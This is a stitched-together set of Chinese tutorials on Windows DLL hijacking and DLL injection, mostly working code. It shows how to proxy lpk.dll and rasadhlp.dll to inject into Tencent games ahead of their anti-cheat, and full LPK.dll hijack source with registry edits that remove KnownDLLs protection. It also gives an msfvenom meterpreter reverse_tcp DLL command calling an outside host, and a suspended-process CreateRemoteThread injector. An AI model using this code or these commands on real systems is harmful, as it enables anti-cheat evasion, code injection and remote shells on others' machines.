基础的东西不想多讲，简单的提一句，具体请问度娘。
Windows的PE加载器会从执行文件目录下寻找DLL，如果找不到再去其他地方找。
把我们特定的DLL伪装成系统DLL，然后放在执行文件目录下，就能实现DLL劫持。
劫持来干嘛？
 肯定是要在被干程序体内有一席之地，然后想干什么就干什么。比如劫持ws2_32.dll可以实现抓包，改包，转向等。
如何伪造？
当然是伪造导出表啦，导出表是一个DLL最总要的部分。
LPK.dll。
#pragma comment(linker, "/EXPORT:LpkInitialize=_gamehacker_LpkInitialize,@1")
#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_gamehacker_LpkTabbedTextOut,@2")
#pragma comment(linker, "/EXPORT:LpkDllInitialize=_gamehacker_LpkDllInitialize,@3")
#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_gamehacker_LpkDrawTextEx,@4")
#pragma comment(linker, "/EXPORT:LpkExtTextOut=_gamehacker_LpkExtTextOut,@6")
#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_gamehacker_LpkGetCharacterPlacement,@7")
#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_gamehacker_LpkGetTextExtentExPoint,@8")
#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_gamehacker_LpkPSMTextOut,@9")
#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_gamehacker_LpkUseGDIWidthCache,@10")
#pragma comment(linker, "/EXPORT:ftsWordBreak=_gamehacker_ftsWordBreak,@11")
复制代码
是的，纯手写伪造很麻烦，一会儿还得写转发代码~~~。 如果某DLL的导出函数比较多，那真是一个累人的活儿。
在这里我介绍一款比较好用的自动生成工具：
aheadlib
功能：根据输入DLL的导出表生成劫持源码。
把生成的源码载入vc编译器是可以正常编译的。
选项很简单，自己摸索，一般默认即可。
在生成的代码中，你能找到：
AheadLib_ + 原始DLL导出函数名 ()
这样的函数
比如：
ALCDECL AheadLib_gethostbyname(void)
{
GetAddress("gethostbyname");
__asm JMP EAX;
}
你可以在这个函数中添加你自己的响应代码。 拦截就直接retn +参数长度。孩子，知道抓包工具该怎么写了吧？
下面介绍一个好玩的拦截例子。可以注入到大部分的企鹅网络游戏客户端。
在system32目录下有一个 rasadhlp.dll。
企鹅游戏在启动的时候会加载rasadhlp.dll，而且还是在保护机制开启之前。
所以劫持rasadhlp.dll就能过保护轻松注入腾讯游戏。【今天的LOL至少还能注入 2015.7.12】
使用工具，生成一份rasadhlp.dll的劫持代码。
然后在DllMain中添加一些代码。
 
添加的代码：
注意Load() 函数时工具生成的。这个函数用来加载原始DLL。
HMODULE hLoad;char *v;
hLoad=LoadLibrary("zr.dll");if (hLoad==NULL)
{
MessageBoxA(NULL,"无法载入 zr.dll",NULL,MB_OK);gotoloading;
}
v=(char *)GetProcAddress(hModule,"TxEntry");if(!v)
{
MessageBoxA(NULL,"无法找到 TXEntry 函数",NULL,MB_OK);gotoloading;
}
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)v,0,0,NULL);
loading:return Load();
这段代码的目的是加载zr.dll然后调用TxEntry函数。
注入进去后就可以随心所欲的干一些不和谐的事情。 比如搜索内存/修改内存。
到了现在，就可以去易语言论坛找一些最新的 无限视距DLL 注入进去试试啦。
 
当按下确认按钮后 TP保护才开始加载。
相关工具已经打包。

Dll注入技术之劫持注入
测试环境
系统:Windows 7 32bit
工具:FileCleaner2.0 和 lpk.dll
主要思路
利用Window可以先加载当前目录下的dll特性,仿造系统的LPK.DLL,让应用程序先加载我们的伪LPK.DLL,然后在我们的dll中去调用原来系统的原函数.
引用网络中的原理讲解

●背景知识●
首先我们要了解Windows为什么可以DLL劫持呢？主要是因为Windows的资源共享机制。为了尽可能多得安排资源共享，微软建议多个应用程序共享的任何模块应该放在Windows的系统目录中，如kernel32.dll，这样能够方便找到。但是随着时间的推移，安装程序会用旧文件或者未向后兼容的新文件来替换系统目录下的文件，这样会使一些其他的应用程序无法正确执行，因此，微软改变了策略，建议应用程序将所有文件放到自己的目录中去，而不要去碰系统目录下的任何东西。
为了提供这样的功能，在Window2000开始，微软加了一个特性，强制操作系统的加载程序首先从应用程序目录中加载模块，只有当加载程序无法在应用程序目录中找到文件，才搜索其他目录。利用系统的这个特性，就可以使应用程序强制加载我们指定的DLL做一些特殊的工作。
举个例子来说吧，Windows的系统目录下有一个名为LPK.DLL的系统文件，程序运行时会在c:\Windows\system32文件夹下找到这个DLL文件并加载它。如打开记事本程序，用360的进程管理工具可以显示记事本进程加载的所有模块，如图1所示。

图1 记事本加载的所有模块
 
可以看到记事本加载了c:\Windows\system32\LPK.DLL。

●什么是DLL劫持●

根据前面说的Windows资源共享机制，操作系统加载程序首先从应用程序目录中加载模块。这一特性在注册表中也有体现：HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode，如果为1，搜索的顺序为：应用程序所在目录->系统目录（用GetSystemDirectory获取）->16位系统目录->Windows目录（用GetWindowsDirectory获取）->运行程序的当前目录->PATH环境变量，如果为0，搜索顺序为：应用程序所在目录->运行程序的当前目录->系统目录（用GetSystemDirectory获取）->16位系统目录->Windows目录（用GetWindowsDirectory获取）->PATH环境变量。Windows Server 2003默认值为1，Windows XP/2000默认值为0或者没有这个键值。但是不管是哪种情况，第一个搜索的肯定是应用程序的所在目录，这样就有机会让应用程序去加载我们的DLL。如果这个DLL和系统目录下的某个DLL同名，导出表也相同，功能就是加载系统目录下的那个DLL，并且将导出表转发到那个真实的DLL。这时DLL劫持就发生了。可以看出，构造一个符合上面要求的DLL，再将其放在可执行文件的目录即可轻松实现DLL劫持了。

●DLL劫持的实现●

这一步我们的工作就是通过编程来实现一个LPK.DLL文件，它与系统目录下的LPK.DLL导出表相同，并能加载系统目录下的LPK.DLL，并且能将导出表转发到真实的LPK.DLL。可以看出我们要实现的这个DLL需求如下：
1、构造一个与系统目录下LPK.DLL一样的导出表；
2、加载系统目录下的LPK.DLL；
3、将导出函数转发到系统目录下的LPK.DLL上；
4、在初始化函数中加入我们要执行的代码。
主要代码
实现伪造的LPK.DLL
//
// LPK.DLL劫持注入源码
//


// 头文件
#include "stdafx.h"
#include <Windows.h>
#include <process.h>




// 导出函数
#pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")
#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")
#pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")
#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")
//#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5")
#pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")
#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")
#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")
#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")
#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")
#pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")





// 宏定义
#define EXTERNC extern "C"
#define NAKED __declspec(naked)
#define EXPORT __declspec(dllexport)

#define ALCPP EXPORT NAKED
#define ALSTD EXTERNC EXPORT NAKED void __stdcall
#define ALCFAST EXTERNC EXPORT NAKED void __fastcall
#define ALCDECL EXTERNC NAKED void __cdecl

//LpkEditControl导出的是数组，不是单一的函数（by Backer）
EXTERNC void __cdecl AheadLib_LpkEditControl(void);
EXTERNC __declspec(dllexport) void(*LpkEditControl[14])() = { AheadLib_LpkEditControl };

  
//添加全局变量

  


// AheadLib 命名空间
namespace AheadLib
{
	HMODULE m_hModule = NULL;	// 原始模块句柄

	// 加载原始模块
	inline BOOL WINAPI Load()
	{
		TCHAR tzPath[MAX_PATH];
		TCHAR tzTemp[MAX_PATH * 2];

		GetSystemDirectory(tzPath, MAX_PATH);
		lstrcat(tzPath, TEXT("\\lpk.dll"));
		m_hModule = LoadLibrary(tzPath);
		if (m_hModule == NULL)
		{
			wsprintf(tzTemp, TEXT("无法加载 %s，程序无法正常运行。"), tzPath);
			MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
		};
		//MessageBox(NULL, "原始模块加载成功", TEXT("AheadLib"), MB_ICONSTOP);
		return (m_hModule != NULL);
	}

	// 释放原始模块
	inline VOID WINAPI Free()
	{
		if (m_hModule)
		{
			FreeLibrary(m_hModule);
		}
	}

	// 获取原始函数地址
	FARPROC WINAPI GetAddress(PCSTR pszProcName)
	{
		FARPROC fpAddress;
		CHAR szProcName[16];
		TCHAR tzTemp[MAX_PATH];

		fpAddress = GetProcAddress(m_hModule, pszProcName);
		if (fpAddress == NULL)
		{
			if (HIWORD(pszProcName) == 0)
			{
				wsprintfA(szProcName, "%d", pszProcName);
				pszProcName = szProcName;
			}

			wsprintf(tzTemp, TEXT("无法找到函数 %hs，程序无法正常运行。"), pszProcName);
			MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
			ExitProcess(-2);
		}

		return fpAddress;
	}
}
using namespace AheadLib;
  

  
//函数声明
void WINAPIV InitInject(LPVOID pParam);
//自己添加功能的函数
void WINAPIV InitInject(LPVOID pParam)
{
	//在这里可以添加自己的DLL
	//LoadLibrary(TEXT(".\\MyDll.dll"));
	MessageBox(NULL, TEXT("LPK劫持成功"), TEXT("警告"),NULL);
	return;
}
  



// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		DisableThreadLibraryCalls(hModule);
		if (Load())
		{
			//LpkEditControl这个数组有14个成员，必须将其复制过来    
			memcpy((LPVOID)(LpkEditControl + 1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1), 52);
			_beginthread(InitInject, NULL, NULL);//创建新线程实现自己的功能
		}
		else {
			//	MessageBox(NULL, "初始化失败", "123 ERROR", MB_ICONSTOP);
			return FALSE;
		}

	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
		Free();
	}
	return TRUE;
}





// 导出函数
ALCDECL AheadLib_LpkInitialize(void)
{
	GetAddress("LpkInitialize");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_LpkTabbedTextOut(void)
{
	GetAddress("LpkTabbedTextOut");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_LpkDllInitialize(void)
{
	GetAddress("LpkDllInitialize");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_LpkDrawTextEx(void)
{
	GetAddress("LpkDrawTextEx");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_LpkEditControl(void)
{
	GetAddress("LpkEditControl");
	__asm jmp DWORD ptr[EAX];//这里的LpkEditControl是数组，eax存的是函数指针
}





// 导出函数
ALCDECL AheadLib_LpkExtTextOut(void)
{
	GetAddress("LpkExtTextOut");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_LpkGetCharacterPlacement(void)
{
	GetAddress("LpkGetCharacterPlacement");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_LpkGetTextExtentExPoint(void)
{
	GetAddress("LpkGetTextExtentExPoint");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_LpkPSMTextOut(void)
{
	GetAddress("LpkPSMTextOut");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_LpkUseGDIWidthCache(void)
{
	GetAddress("LpkUseGDIWidthCache");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_ftsWordBreak(void)
{
	GetAddress("ftsWordBreak");
	__asm JMP EAX;
}
实现效果
把伪造的LPK.DLL放在程序同目录下(这样会首先加载我们伪造的DLL)
注:可能需要修改注册表，使得程序从执行文件所在目录加载DLL(修改完可能需要重启)
有些高版本系统和程序已经不能劫持lpk.dll了,这里我用了"黑客反病毒论坛"的FileCleaner2.0.exe程序测试成功!
其他可劫持的dll为:
lpk.dll、winmm.dll、ws2_32.dll、ws2help.dll、version.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll等
XP:
把HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\knowndlls下的lpk项删除掉，重启电脑。
WIN7:
在HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager添加一个键值ExcludeFromKnownDlls（多字符串类型），把lpk.dll加进去。如果需要其他DLL请自行加入。
如图：

查看我们伪造的LPK.DLL导出表,与系统原来的一样

运行程序后先加载了我们伪造的LPK.DLL,程序被劫持

从模块列表中也可以看到,既加载了我们伪造的LPK.DLL,也加载了系统的lpk.dll

	

DLL注入&DLL劫持[基础]
DLL注入
DLL注入是在某个进程的地址空间的上下文中运行任意代码,如果进程是高权限,攻击者可以利用这个特性提权.
通常需要以下几个步骤:
DLL需要放置在目标环境中
CreateRemoteThread调用LoadLibrary
反射型加载器尝试寻找进程的PEB,通过 kernel32dll和其他的库来定位地址
会用到一些api,LoadLibraryA, GetProcAddress, and VirtualAlloc
dll载入内存
常用方法
生成DLL
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.123.22 LPORT=5566 -f dll > tmp.dll
监听
使用RemoteDLLInjector工具注入
msf生成的dll没执行,cs的可以
除了这个还有PowerSploit的Invoke-DLLInjection 模块等
自行谷歌
dll注入的方式有很多,反射型就是dll文件不落地
DLL劫持
寻找进程中的dll,依然是加载自己的dll,劫持原有的dll
加载顺序
当前应用程序的目录
C:\Windows\System32
C:\Windows\System
C:\Windows
当前工作目录
系统PATH环境变量中的目录
用户PATH环境变量中的目录
用 process monitor查找缺失的dll
自动化查找
用的三好师傅博客的demo,也是歪果仁的.
https://github.com/sensepost/rattler
https://sensepost.com/blog/2016/rattleridentifying-and-exploiting-dll-preloading-vulnerabilities/
NDP461-KB3102438-Web.exe的下载地址：
http://www.microsoft.com/zh-cn/download/details.aspx?id=49981&134b2bb0-86c1-fe9f-d523-281faef41695=1&fa43d42b-25b5-4a42-fe9b-1634f450f5ee=True
得到可以利用的dll文件
这个自动化工具没找出来,手工看了一下.
然后用cs生成 32bit的dll命名为 CRYPTSP.dll启动安装程序,发现dll已经被成功加载.
细枝末节很多文章说的很清楚了.
链接:
https://payloads.online/archivers/2018-06-09/1DLL劫持漏洞自动化识别工具Rattler测试https://github.com/sensepost/rattler

上一篇记录了远线程注入，这里记录下劫持进程创建注入

0x01 前言
DLL注入指的是向运行中的其他进程强制插入特定的DLL文件。从技术细节来说, DLL注入，命令其他进程自行调用LoadLibrary API,加载( Loading)用户指定的DLL文件。

使用LoadLibrary()API加载某个DLL时,该DLL中的DIIMain()函数就会被调用执行。DLL注入的工作原理就是从外部促使目标进程调用LoadLibrary()API (与一般DLL加载相同),所以会强制调用执行DLL的DIIMain()函数。并且,被注入的DLL拥有目标进程内存的访问权限,用户可以随意操作(修复Bug、添加功能等)。

注入的DLL成为EXE文件中的一部分，这样做的方便我们通过这个DLL读写EXE文件内存数据，（例如 HOOK EXE文件中的API），或以被注入EXE的身份去执行一些操作等等。
0x02
劫持进程创建注入原理是利用Windows系统中CreateProcess()这个API创建一个挂起的进程，并将第6个参数设为CREATE_SUSPENDED，进而创建一个挂起状态的进程，利用这个进程状态进行远程线程注入DLL，然后用ResumeThread()函数恢复进程。
STARTUPINFO si = { 0 };
    si.cb = sizeof si;
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    PROCESS_INFORMATION pi;
    TCHAR cmdline[MAXBYTE] = _T("calc.exe");
    BOOL bRet = CreateProcess(NULL,
        cmdline,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED, //需要注意的参数
        NULL,
        NULL,
        &si,
        &pi);

0x03
下面开始写进程创建的代码。
int main(int argc, CHAR* argv[])
{
    STARTUPINFO si = { 0 };
    si.cb = sizeof si;
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    PROCESS_INFORMATION pi;
    TCHAR cmdline[MAXBYTE] = _T("calc.exe");
    BOOL bRet = CreateProcess(NULL,
        cmdline,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED, //需要注意的参数
        NULL,
        NULL,
        &si,
        &pi);
    HANDLE handle = pi.hProcess;
    HANDLE hd = pi.hThread;
    if (InjectDll(handle,hd, (PCHAR)argv[1]) != -1)//把输入的PID强转一下
    {
        printf("InjectDll(\"%s\") success!!!\n", argv[1]);
    }
    else
    {
        printf("InjectDll(\"%s\") failed!!!\n", argv[1]);
    }

    return 0;
}

注入，其原理和远线程注入基本一致。
int InjectDll(HANDLE hProcess, HANDLE hThread, PCHAR szDllName)
{

    //1. 在远程进程中申请空间  
    LPVOID pszDllName = VirtualAllocEx(hProcess, //远程进程句柄  
        NULL,                                  //建议开始地址  
        4096,                                  //分配空间大小  
        MEM_COMMIT,                            //空间初始化全0  
        PAGE_EXECUTE_READWRITE);               //空间权限  

    if (NULL == pszDllName)
    {
        return -1;
    }

    //2. 向远程进程中写入数据  
    BOOL bRet = WriteProcessMemory(hProcess, pszDllName,
        szDllName, MAX_PATH, NULL);

    if (NULL == bRet)
    {
        return -1;
    }

    //3. 在远程进程中创建远程线程  
    HANDLE m_hInjecthread = CreateRemoteThread(hProcess,      //远程进程句柄  
        NULL,                                            //安全属性  
        0,                                               //栈大小  
        (LPTHREAD_START_ROUTINE)LoadLibraryA,             //进程处理函数      
        pszDllName,                                      //传入参数  
        CREATE_SUSPENDED,                                //默认创建后为挂起状态  
        NULL);                                           //线程ID  

    if (NULL == m_hInjecthread)
    {
        DWORD dwErr = GetLastError();
        return -1;
    }
    ResumeThread(hThread);//恢复主进程
    ResumeThread(m_hInjecthread);
    //4. 等待线程结束返回  
    DWORD dw = WaitForSingleObject(m_hInjecthread, -1);
    //5. 获取线程退出码,即LoadLibrary的返回值，即dll的首地址  
    DWORD dwExitCode;
    GetExitCodeThread(m_hInjecthread, &dwExitCode);
    HMODULE m_hMod = (HMODULE)dwExitCode;

    //6. 释放空间  
    BOOL bReturn = VirtualFreeEx(hProcess, pszDllName,
        4096, MEM_DECOMMIT);

    if (NULL == bReturn)
    {
        return -1;
    }

    CloseHandle(hProcess);
    hProcess = NULL;
    return 0;
}

0x04 注意点
1、CreateProcess时，注意得是挂起状态CREATE_SUSPENDED，其次结构体PROCESS_INFORMATION也很重要。
STARTUPINFO si = { 0 };
    si.cb = sizeof si;
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    PROCESS_INFORMATION pi;
    TCHAR cmdline[MAXBYTE] = _T("calc.exe");
    BOOL bRet = CreateProcess(NULL,
        cmdline,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED, //需要注意的参数
        NULL,
        NULL,
        &si,
        &pi);

2、CreateRemoteThread时同样是挂起状态CREATE_SUSPENDED
HANDLE m_hInjecthread = CreateRemoteThread(hProcess,      //远程进程句柄  
        NULL,                                            //安全属性  
        0,                                               //栈大小  
        (LPTHREAD_START_ROUTINE)LoadLibraryA,             //进程处理函数      
        pszDllName,                                      //传入参数  
        CREATE_SUSPENDED,                                //默认创建后为挂起状态  
        NULL);                                           //线程ID  

3、得先恢复进程，在恢复创建的远线程
ResumeThread(hThread);//恢复主进程
ResumeThread(m_hInjecthread);

0x05 效果